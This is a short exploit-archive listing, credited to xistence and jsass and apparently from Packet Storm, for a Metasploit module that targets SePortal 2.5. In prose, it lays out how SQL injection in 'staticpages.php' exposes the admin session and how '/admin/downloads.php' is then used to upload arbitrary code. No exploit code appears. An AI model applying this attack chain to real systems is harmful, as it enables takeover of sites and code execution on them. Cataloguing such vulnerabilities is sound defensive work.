SePortal 2.5 SQL Injection / Remote Code Execution

SePortal 2.5 SQL Injection / Remote Code Execution
Posted Mar 28, 2014
Authored by xistence, jsass | Site metasploit.com

This Metasploit module exploits a vulnerability found in SePortal version 2.5. When logging in as any non-admin user, it's possible to retrieve the admin session from the database through SQL injection. The SQL injection vulnerability exists in the "staticpages.php" page. This hash can be used to take over the admin user session. After logging in, the "/admin/downloads.php" page will be used to upload arbitrary code.
